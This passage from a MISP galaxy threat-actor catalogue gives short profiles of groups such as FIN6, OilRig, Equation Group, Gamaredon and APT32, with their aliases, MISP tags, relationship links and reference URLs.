</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/insights/apt-groups">https://www.mandiant.com/resources/insights/apt-groups</a></td>
</tr>
</tbody>
</table>

FIN6

FIN is a group targeting financial assets including assets able to do financial transaction including PoS.
The tag is: `misp-galaxy:threat-actor="FIN6"`

FIN6 is also known as:

- SKELETON SPIDER
- ITG08
- MageCart Group 6
- White Giant
- GOLD FRANKLIN
- ATK88
- G0037

View relationships graph

FIN6 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="FIN6 - G0037" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Camouflage Tempest" with estimative-language:likelihood-probability="likely"

Table 11171. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0037/">https://attack.mitre.org/groups/G0037/</a></td>
</tr>
<tr>
<td><a href="https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/">https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/</a></td>
</tr>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-franklin">http://www.secureworks.com/research/threat-profiles/gold-franklin</a></td>
</tr>
</tbody>
</table>

**Libyan Scorpions**

Libyan Scorpions is a malware operation in use since September 2015 and operated by a politically motivated group whose main objective is intelligence gathering, spying on influential and political figures and operate an espionage campaign within Libya.

The tag is: `misp-galaxy:threat-actor="Libyan Scorpions"`

**TeamXRat**

The tag is: `misp-galaxy:threat-actor="TeamXRat"`
Table 11172. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/blog/research/76153/teamxrat-brazilian-cybercrime-meets-ransomware/">https://securelist.com/blog/research/76153/teamxrat-brazilian-cybercrime-meets-ransomware/</a></td>
</tr>
</tbody>
</table>

**OilRig**

OilRig is an Iranian threat group operating primarily in the Middle East by targeting organizations in this region that are in a variety of different industries; however, this group has occasionally targeted organizations outside of the Middle East as well. It also appears OilRig carries out supply chain attacks, where the threat group leverages the trust relationship between organizations to attack their primary targets.

OilRig is an active and organized threat group, which is evident based on their systematic targeting of specific organizations that appear to be carefully chosen for strategic purposes. Attacks attributed to this group primarily rely on social engineering to exploit the human rather than software vulnerabilities; however, on occasion this group has used recently patched vulnerabilities in the delivery phase of their attacks. The lack of software vulnerability exploitation does not necessarily suggest a lack of sophistication, as OilRig has shown maturity in other aspects of their operations. Such maturities involve:

- Organized evasion testing used the during development of their tools. - Use of custom DNS Tunneling protocols for command and control (C2) and data exfiltration. - Custom web-shells and backdoors used to persistently access servers.

OilRig relies on stolen account credentials for lateral movement. After OilRig gains access to a system, they use credential dumping tools, such as Mimikatz, to steal credentials to accounts logged into the compromised system. The group uses these credentials to access and to move laterally to other systems on the network. After obtaining credentials from a system, operators in this group prefer to use tools other than their backdoors to access the compromised systems, such as remote desktop and putty. OilRig also uses phishing sites to harvest credentials to individuals at targeted organizations to gain access to internet accessible resources, such as Outlook Web Access.

Since at least 2014, an Iranian threat group tracked by FireEye as APT34 has conducted reconnaissance aligned with the strategic interests of Iran. The group conducts operations primarily in the Middle East, targeting financial, government, energy, chemical, telecommunications and other industries. Repeated targeting of Middle Eastern financial, energy and government organizations leads FireEye to assess that those sectors are a primary concern of APT34. The use of infrastructure tied to Iranian operations, timing and alignment with the national interests of Iran also lead FireEye to assess that APT34 acts on behalf of the Iranian government.

The tag is: `misp-galaxy:threat-actor="OilRig"`

OilRig is also known as:
• Twisted Kitten
• Cobalt Gypsy
• Crambus
• Helix Kitten
• APT 34
• APT34
• IRN2
• ATK40
• G0049
• Evasive Serpens

**View relationships graph**

**OilRig** has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cutting Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="OilRig - G0049" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="APT34 - G0057" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Hazel Sandstorm" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-ics-groups="OilRig" with estimative-language:likelihood-probability="likely"
Table 11173. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-striking-oil-closer-look-adversary-infrastructure/">https://unit42.paloaltonetworks.com/unit42-striking-oil-closer-look-adversary-infrastructure/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-introducing-the-adversary-playbook-first-up-oilrig/">https://unit42.paloaltonetworks.com/unit42-introducing-the-adversary-playbook-first-up-oilrig/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/">https://unit42.paloaltonetworks.com/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/">https://unit42.paloaltonetworks.com/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-twoface-webshell-persistent-access-point-lateral-movement/">https://unit42.paloaltonetworks.com/unit42-twoface-webshell-persistent-access-point-lateral-movement/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/">https://unit42.paloaltonetworks.com/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery/">https://unit42.paloaltonetworks.com/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/">https://unit42.paloaltonetworks.com/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/">https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/">https://unit42.paloaltonetworks.com/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/">https://unit42.paloaltonetworks.com/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/">https://unit42.paloaltonetworks.com/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/</a></td>
</tr>
<tr>
<td><a href="https://pan-unit42.github.io/playbook_viewer/">https://pan-unit42.github.io/playbook_viewer/</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html">https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html</a></td>
</tr>
<tr>
<td><a href="https://www.gov.il/BlobFolder/reports/attack_il/he/CERT-IL-ALERT-W-120.pdf">https://www.gov.il/BlobFolder/reports/attack_il/he/CERT-IL-ALERT-W-120.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/oilrig">https://www.cfr.org/interactive/cyber-operations/oilrig</a></td>
</tr>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/apt-34">https://www.cfr.org/interactive/cyber-operations/apt-34</a></td>
</tr>
</tbody>
</table>
Volatile Cedar

Beginning in late 2012, a carefully orchestrated attack campaign we call Volatile Cedar has been targeting individuals, companies and institutions worldwide. This campaign, led by a persistent attacker group, has successfully penetrated a large number of targets using various attack techniques, and specifically, a custom-made malware implant codenamed Explosive.

The tag is: `misp-galaxy:threat-actor="Volatile Cedar"`

Volatile Cedar is also known as:

- Lebanese Cedar
- DeftTorero

View relationships graph

Volatile Cedar has relationships with:

- uses: `misp-galaxy:tool="Explosive"` with `estimative-language:likelihood-probability="very-likely"`

Table 1174. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.checkpoint.com/2015/03/31/volatilecedar/">https://blog.checkpoint.com/2015/03/31/volatilecedar/</a></td>
</tr>
</tbody>
</table>
Dancing Salome

Dancing Salome is the Kaspersky codename for an APT actor with a primary focus on ministries of foreign affairs, think tanks, and Ukraine. What makes Dancing Salome interesting and relevant is the attacker's penchant for leveraging HackingTeam RCS implants compiled after the public breach.

The tag is: `misp-galaxy:threat-actor="Dancing Salome"`

TERBIUM

Microsoft Threat Intelligence identified similarities between this recent attack and previous 2012 attacks against tens of thousands of computers belonging to organizations in the energy sector. Microsoft Threat Intelligence refers to the activity group behind these attacks as TERBIUM, following our internal practice of assigning rogue actors chemical element names.

The tag is: `misp-galaxy:threat-actor="TERBIUM"`

Molerats

In October 2012, malware attacks against Israeli government targets grabbed media attention as officials temporarily cut off Internet access for its entire police force and banned the use of USB memory sticks. Security researchers subsequently linked these attacks to a broader, yearlong campaign that targeted not just Israelis but Palestinians as well. and as discovered later, even the
U.S. and UK governments. Further research revealed a connection between these attacks and members of the so-called “Gaza Hackers Team.” We refer to this campaign as “Molerats.”

The tag is: misp-galaxy:threat-actor="Molerats"

Molerats is also known as:

- Gaza Hackers Team
- Gaza cybergang
- Gaza Cybergang
- Operation Molerats
- Extreme Jackal
- Moonlight
- ALUMINUM SARATOGA
- G0021

View relationships graph

Molerats has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Molerats - G0021" with estimative-language:likelihood-probability="likely"

Table 11177. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://ti.360.net/blog/articles/suspected-molerats-new-attack-in-the-middle-east/">https://ti.360.net/blog/articles/suspected-molerats-new-attack-in-the-middle-east/</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2014/06/molerats-here-for-spring.html">https://www.fireeye.com/blog/threat-research/2014/06/molerats-here-for-spring.html</a></td>
</tr>
<tr>
<td><a href="https://www.vectra.ai/blogpost/moonlight-middle-east-targeted-attacks">https://www.vectra.ai/blogpost/moonlight-middle-east-targeted-attacks</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/gaza-cybergang-wheres-your-ir-team/72283/">https://securelist.com/gaza-cybergang-wheres-your-ir-team/72283/</a></td>
</tr>
<tr>
<td><a href="https://www.kaspersky.com/blog/gaza-cybergang/26363/">https://www.kaspersky.com/blog/gaza-cybergang/26363/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0021/">https://attack.mitre.org/groups/G0021/</a></td>
</tr>
</tbody>
</table>
PROMETHIUM

PROMETHIUM is an activity group that has been active as early as 2012. The group primarily uses Truvasys, a first-stage malware that has been in circulation for several years. Truvasys has been involved in several attack campaigns, where it has masqueraded as one of server common computer utilities, including WinUtils, TrueCrypt, WinRAR, or SanDisk. In each of the campaigns, Truvasys malware evolved with additional features—this shows a close relationship between the activity groups behind the campaigns and the developers of the malware.

The tag is: `misp-galaxy:threat-actor="PROMETHIUM"`

PROMETHIUM is also known as:

- StrongPity
- G0056

View relationships graph

PROMETHIUM has relationships with:

- similar: `misp-galaxy:mitre-intrusion-set="PROMETHIUM - G0056"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:microsoft-activity-group="PROMETHIUM"` with estimative-language:likelihood-probability="likely"

Table 11178. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0056/">https://attack.mitre.org/groups/G0056/</a></td>
</tr>
</tbody>
</table>

NEODYMIUM

NEODYMIUM is an activity group that is known to use a backdoor malware detected by Microsoft as Wingbird. This backdoor’s characteristics closely match FinFisher, a government-grade commercial surveillance package. Data about Wingbird activity indicate that it is typically used to attack individual computers instead of networks.

The tag is: `misp-galaxy:threat-actor="NEODYMIUM"`

NEODYMIUM is also known as:
Packrat

A threat group that has been active for at least seven years has used malware, phishing and disinformation tactics to target activists, journalists, politicians and public figures in various Latin American countries. The threat actor, dubbed Packrat based on its preference for remote access Trojans (RATs) and because it has used the same infrastructure for several years, has been analyzed by Citizen Lab researchers John Scott-Railton, Morgan Marquis-Boire, and Claudio Guarnieri, and Cyphort researcher Marion Marschalek, best known for her extensive analysis of state-sponsored threats.

The tag is: `misp-galaxy:threat-actor="Packrat"`

Cadelle

Symantec telemetry identified Cadelle and Chafer activity dating from as far back as July 2014, however, it’s likely that activity began well before this date. Command-and-control (C&C) registrant information points to activity possibly as early as 2011, while executable compilation times suggest early 2012. Their attacks continue to the present day. Symantec estimates that each team is made up of between 5 and 10 people.

The tag is: `misp-galaxy:threat-actor="Cadelle"`
PassCV

The PassCV group continues to be one of the most successful and active threat groups that leverage a wide array of stolen Authenticode-signing certificates. Snorre Fagerland of Blue Coat Systems first coined the term PassCV in a blog post. His post provides a good introduction to the group and covers some of the older infrastructure, stolen code-signing certificate reuse, and other connections associated with the PassCV malware. There are several clues alluding to the possibility that multiple groups may be utilizing the same stolen signing certificates, but at this time SPEAR believes the current attacks are more likely being perpetrated by a single group employing multiple publicly available Remote Administration Tools (RATs). The PassCV group has been operating with continued success and has already started to expand their malware repertoire into different off-the-shelf RATs and custom code. SPEAR identified eighteen previously undisclosed stolen Authenticode certificates. These certificates were originally issued to companies and individuals scattered across China, Taiwan, Korea, Europe, the United States and Russia. In this post we expand the usage of the term ‘PassCV’ to encompass the malware mentioned in the Blue Coat Systems report, as well as the APT group behind the larger C2 infrastructure and stolen Authenticode certificates. We’d like to share some of our findings as they pertain to the stolen certificates, command and control infrastructure, and some of the newer custom RATs they’ve begun development on.

The tag is: misp-galaxy:threat-actor=”PassCV”

Table 11182. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Sath-ı Müdafaa

A Turkish hacking group, Sath-ı Müdafaa, is encouraging individuals to join its DDoS-for-Points platform that features points and prizes for carrying out distributed denial-of-service (DDoS) attacks against a list of predetermined targets. Their DDoS tool also contains a backdoor to hack the hackers. So the overarching motivation and allegiance of the group is not entirely clear.

The tag is: misp-galaxy:threat-actor=”Sath-ı Müdafaa”

Aslan Neferler Tim

Turkish nationalist hacktivist group that has been active for roughly one year. According to DomainTools, the group’s site has been registered since December 2015, with an active Twitter account since January 2016. The group carries out distributed denial-of-service (DDoS) attacks and defacements against the sites of news organizations and governments perceived to be critical of Turkey’s policies or leadership, and purports to act in defense of Islam.
The tag is: *misp-galaxy:threat-actor=*"Aslan Neferler Tim"

Aslan Neferler Tim is also known as:

- Lion Soldiers Team
- Phantom Turk

**Ayyıldız Tim**

Ayyıldız (Crescent and Star) Tim is a nationalist hacking group founded in 2002. It performs defacements and DDoS attacks against the websites of governments that it considers to be repressing Muslim minorities or engaged in Islamophobic policies.

The tag is: *misp-galaxy:threat-actor=*"Ayyıldız Tim"

Ayyıldız Tim is also known as:

- Crescent and Star

**TurkHackTeam**

Founded in 2004, Turkhackteam is one of Turkey's oldest and most high-profile hacking collectives. According to a list compiled on Turkhackteam's forum, the group has carried out almost 30 highly publicized hacking campaigns targeting foreign government and commercial websites, including websites of international corporations.

The tag is: *misp-galaxy:threat-actor=*"TurkHackTeam"

TurkHackTeam is also known as:

- Turk Hack Team

**Equation Group**

The Equation Group is a highly sophisticated threat actor described by its discoverers at Kaspersky Labs as one of the most sophisticated cyber attack groups in the world, operating alongside but always from a position of superiority with the creators of Stuxnet and Flame.

The tag is: *misp-galaxy:threat-actor=*"Equation Group"

Equation Group is also known as:

- Tilded Team
- EQGRP
- G0020

[View relationships graph]

Equation Group has relationships with:
• similar: misp-galaxy:threat-actor="Longhorn" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:tool="EquationDrug" with estimative-language:likelihood-probability="very-likely"

• uses: misp-galaxy:tool="DoubleFantasy" with estimative-language:likelihood-probability="very-likely"

• uses: misp-galaxy:tool="TripleFantasy" with estimative-language:likelihood-probability="very-likely"

• uses: misp-galaxy:tool="GrayFish" with estimative-language:likelihood-probability="very-likely"

• uses: misp-galaxy:tool="Fanny" with estimative-language:likelihood-probability="very-likely"

• uses: misp-galaxy:tool="EquationLaser" with estimative-language:likelihood-probability="very-likely"

Table 11183. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/equation-group">https://www.cfr.org/interactive/cyber-operations/equation-group</a></td>
</tr>
<tr>
<td><a href="https://arstechnica.com/information-technology/2015/02/how-omnipotent-hackers-tied-to-the-nsa-hid-for-14-years-and-were-found-at-last/">https://arstechnica.com/information-technology/2015/02/how-omnipotent-hackers-tied-to-the-nsa-hid-for-14-years-and-were-found-at-last/</a></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Stuxnet">https://en.wikipedia.org/wiki/Stuxnet</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0020/">https://attack.mitre.org/groups/G0020/</a></td>
</tr>
</tbody>
</table>

Greenbug

Greenbug was discovered targeting a range of organizations in the Middle East including companies in the aviation, energy, government, investment, and education sectors.

The tag is: misp-galaxy:threat-actor="Greenbug"

View relationships graph

Greenbug has relationships with:

• similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"

Table 11184. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Gamaredon Group

Unit 42 threat researchers have recently observed a threat group distributing new, custom developed malware. We have labelled this threat group the Gamaredon Group and our research shows that the Gamaredon Group has been active since at least 2013. In the past, the Gamaredon Group has relied heavily on off-the-shelf tools. Our new research shows the Gamaredon Group have made a shift to custom-developed malware. We believe this shift indicates the Gamaredon Group have improved their technical capabilities.

The tag is: misp-galaxy:threat-actor="Gamaredon Group"

Gamaredon Group is also known as:

- ACTINIUM
- DEV-0157
- Blue Otso
- BlueAlpha
- G0047
- IRON TILDEN
- PRIMITIVE BEAR
- Shuckworm
- Trident Ursa
- UAC-0010
- Winterflounder

View relationships graph

Gamaredon Group has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Gamaredon Group - G0047" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Aqua Blizzard" with estimative-language:likelihood-probability="likely"
Infy

Infy is a group of suspected Iranian origin. Since early 2013, we have observed activity from a unique threat actor group, which we began to investigate based on increased activities against human right activists in the beginning of 2015. In line with other research on the campaign, released prior to publication of this document, we have adopted the name “Infy”, which is based on labels used in the infrastructure and its two families of malware agents. Thanks to information we have been able to collect during the course of our research, such as characteristics of the group's malware and development cycle, our research strongly supports the claim that the Infy group is of Iranian origin and potentially connected to the Iranian state. Amongst a backdrop of other incidents, Infy became one of the most frequently observed agents for attempted malware attacks against Iranian civil society beginning in late 2014, growing in use up to the February 2016 parliamentary election in Iran. After the conclusion of the parliamentary election, the rate of attempted intrusions and new compromises through the Infy agent slowed, but did not end. The trends witnessed in reports from recipients are reinforced through telemetry provided by design failures in more recent versions of the Infy malware.
The tag is: *misp-galaxy:threat-actor=“Infy”*

Infy is also known as:

- Operation Mermaid
- Prince of Persia
- Foudre

*Table 11186. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://iranthreats.github.io/">https://iranthreats.github.io/</a></td>
</tr>
</tbody>
</table>

**Sima**

Sima is a group of suspected Iranian origin targeting Iranians in diaspora. In February 2016, Iran-focused individuals received messages purporting to be from Human RightsWatch’s (HRW) Emergencies Director, requesting that they read an article about Iran pressng Afghans to fight in Syria. While referencing a real report published by HRW, the links provided for the Director’s biography and article directed the recipient to malware hosted elsewhere. These spear-phishing attempts represent an evolution of Iranian actors based on their social engineering tactics and narrow targeting. Although the messages still had minor grammatical and stylistic errors that would be obvious to a native speaker, the actors demonstrated stronger English-language proficiency than past intrusion sets and a deeper investment in background research prior to the attempt. The actors appropriated a real identity that would be expected to professionally interact with the subject, then offered validation through links to their biography and social media, the former of which itself was malware as well. The bait documents contained a real article relevant to their interests and topic referenced, and the message attempted to address how it aligned with their professional research or field of employment. The referenced documents sent were malware binaries posing as legitimate files using the common right-to-left filenames tactic in order to conceal the actual file extension. All of these techniques, while common pretexting mechanisms,
are a refinement compared to a tendency amongst other groups to simply continually send
different forms of generic malware or phishing, in the hopes that one would eventually be successful.

The tag is: `misp-galaxy:threat-actor="Sima"`

<table>
<thead>
<tr>
<th>Table 11187. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://iranthreats.github.io/">https://iranthreats.github.io/</a></td>
</tr>
</tbody>
</table>

**Blue Termite**

Blue Termite is a group of suspected Chinese origin active in Japan.

The tag is: `misp-galaxy:threat-actor="Blue Termite"`

Blue Termite is also known as:

- Cloudy Omega
- Emdivi

<table>
<thead>
<tr>
<th>Table 11188. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/blue-termite">https://www.cfr.org/interactive/cyber-operations/blue-termite</a></td>
</tr>
</tbody>
</table>

**Groundbait**

Groundbait is a group targeting anti-government separatists in the self-declared Donetsk and Luhansk People’s Republics.

The tag is: `misp-galaxy:threat-actor="Groundbait"`

<table>
<thead>
<tr>
<th>Table 11189. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="http://www.welivesecurity.com/2016/05/18/groundbait">http://www.welivesecurity.com/2016/05/18/groundbait</a></td>
</tr>
</tbody>
</table>

**Longhorn**

Longhorn has been active since at least 2011. It has used a range of back door Trojans in addition to zero-day vulnerabilities to compromise its targets. Longhorn has infiltrated governments and internationally operating organizations, in addition to targets in the financial, telecoms, energy, aerospace, information technology, education, and natural resources sectors. All of the
organizations targeted would be of interest to a nation-state attacker. Longhorn has infected 40 targets in at least 16 countries across the Middle East, Europe, Asia, and Africa. On one occasion a computer in the United States was compromised but, following infection, an uninstaller was launched within hours, which may indicate this victim was infected unintentionally. According to cfr, this threat actor compromises governments, international organizations, academic institutions, and financial, telecommunications, energy, aerospace, information technology, and natural resource industries for espionage purposes. Some of the tools used by this threat actor were released by Wikileaks under the name "Vault 7."

The tag is: `misp-galaxy:threat-actor="Longhorn"`

Longhorn is also known as:

- Lamberts
- the Lamberts
- APT-C-39
- PLATINUM TERMINAL

View relationships graph

Longhorn has relationships with:

- similar: `misp-galaxy:threat-actor="Equation Group"` with `estimative-language:likelihood-probability="likely"`

Table 11190. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7ca2e331-2209-46a8-9e60-4cb83f9602de&amp;CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&amp;tab=librarydocuments">https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7ca2e331-2209-46a8-9e60-4cb83f9602de&amp;CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&amp;tab=librarydocuments</a></td>
</tr>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/longhorn">https://www.cfr.org/interactive/cyber-operations/longhorn</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/platinum-terminal">https://www.secureworks.com/research/threat-profiles/platinum-terminal</a></td>
</tr>
</tbody>
</table>

Callisto

The Callisto Group is an advanced threat actor whose known targets include military personnel, government officials, think tanks, and journalists in Europe and the South Caucasus. Their primary interest appears to be gathering intelligence related to foreign and security policy in the Eastern Europe and South Caucasus regions.

The tag is: `misp-galaxy:threat-actor="Callisto"`

Callisto is also known as:
Callisto has relationships with:

- similar: misp-galaxy:microsoft-activity-group="Star Blizzard" with estimative-language:likelihood-probability="likely"

**Table 11191. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.google/threat-analysis-group/tracking-cyber-activity-eastern-europe">https://blog.google/threat-analysis-group/tracking-cyber-activity-eastern-europe</a></td>
</tr>
<tr>
<td><a href="https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag">https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2022/08/15/disrupting-seaborgiums-ongoing-phishing-operations">https://www.microsoft.com/security/blog/2022/08/15/disrupting-seaborgiums-ongoing-phishing-operations</a></td>
</tr>
<tr>
<td><a href="https://blog.sekoia.io/calisto-continues-its-credential-harvesting-campaign">https://blog.sekoia.io/calisto-continues-its-credential-harvesting-campaign</a></td>
</tr>
</tbody>
</table>

**APT32**

Cyber espionage actors, now designated by FireEye as APT32 (OceanLotus Group), are carrying out intrusions into private sector companies across multiple industries and have also targeted foreign governments, dissidents, and journalists. FireEye assesses that APT32 leverages a unique suite of fully-featured malware, in conjunction with commercially-available tools, to conduct targeted operations that are aligned with Vietnamese state interests.

The tag is: misp-galaxy:threat-actor="APT32"

APT32 is also known as:
• OceanLotus Group
• Ocean Lotus
• OceanLotus
• Cobalt Kitty
• APT-C-00
• SeaLotus
• Sea Lotus
• APT-32
• APT 32
• Ocean Buffalo
• POND LOACH
• TIN WOODLAWN
• BISMUTH
• ATK17
• G0050

View relationships graph

APT32 has relationships with:

• similar: misp-galaxy:mitre-intrusion-set="APT32 - G0050" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:microsoft-activity-group="Canvas Cyclone" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:360net-threat-actor="海莲花 - APT-C-00" with estimative-language:likelihood-probability="likely"

Table 11192. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0050/">https://attack.mitre.org/groups/G0050/</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html">https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html</a></td>
</tr>
<tr>
<td><a href="https://www.brighttalk.com/webcast/10703/261205">https://www.brighttalk.com/webcast/10703/261205</a></td>
</tr>
<tr>
<td><a href="https://github.com/eset/malware-research/tree/master/oceanlotus">https://github.com/eset/malware-research/tree/master/oceanlotus</a></td>
</tr>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/ocean-lotus">https://www.cfr.org/interactive/cyber-operations/ocean-lotus</a></td>
</tr>
</tbody>
</table>
SilverTerrier

As these tools rise and fall in popularity (and more importantly, as detection rates by antivirus vendors improve), SilverTerrier actors have consistently adopted new malware families and shifted to the latest packing tools available.

The tag is: `misp-galaxy:threat-actor="SilverTerrier"`

WildNeutron

A corporate espionage group has compromised a string of major corporations over the past three years in order to steal confidential information and intellectual property. The gang, which Symantec calls Butterfly, is not-state sponsored, rather financially motivated. It has attacked multi-billion dollar companies operating in the internet, IT software, pharmaceutical, and commodities sectors. Twitter, Facebook, Apple, and Microsoft are among the companies who have publicly acknowledged attacks. Butterfly is technically proficient and well resourced. The group has developed a suite of custom malware tools capable of attacking both Windows and Apple computers, and appears to have used at least one zero-day vulnerability in its attacks. It keeps a low profile and maintains good operational security. After successfully compromising a target organization, it cleans up after itself before moving on to its next target. This group operates at a much higher level than the average cybercrime gang. It is not interested in stealing credit card details or customer databases and is instead focused on high-level corporate information. Butterfly may be selling this information to the highest bidder or may be operating as hackers for hire. Stolen information could also be used for insider-trading purposes.

The tag is: `misp-galaxy:threat-actor="WildNeutron"`

WildNeutron is also known as:

- Butterfly
- Morpho
• Sphinx Moth

Table 11194. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://research.kudelskisecurity.com/2015/11/05/sphinx-moth-expanding-our-knowledge-of-the-wild-neutron-morpho-apt/">https://research.kudelskisecurity.com/2015/11/05/sphinx-moth-expanding-our-knowledge-of-the-wild-neutron-morpho-apt/</a></td>
</tr>
<tr>
<td><a href="https://www.facebook.com/notes/facebook-security/protecting-people-on-facebook/10151249208250766">https://www.facebook.com/notes/facebook-security/protecting-people-on-facebook/10151249208250766</a></td>
</tr>
<tr>
<td><a href="https://blogs.technet.microsoft.com/msrc/2013/02/22/recent-cyberattacks/">https://blogs.technet.microsoft.com/msrc/2013/02/22/recent-cyberattacks/</a></td>
</tr>
</tbody>
</table>

**PLATINUM**

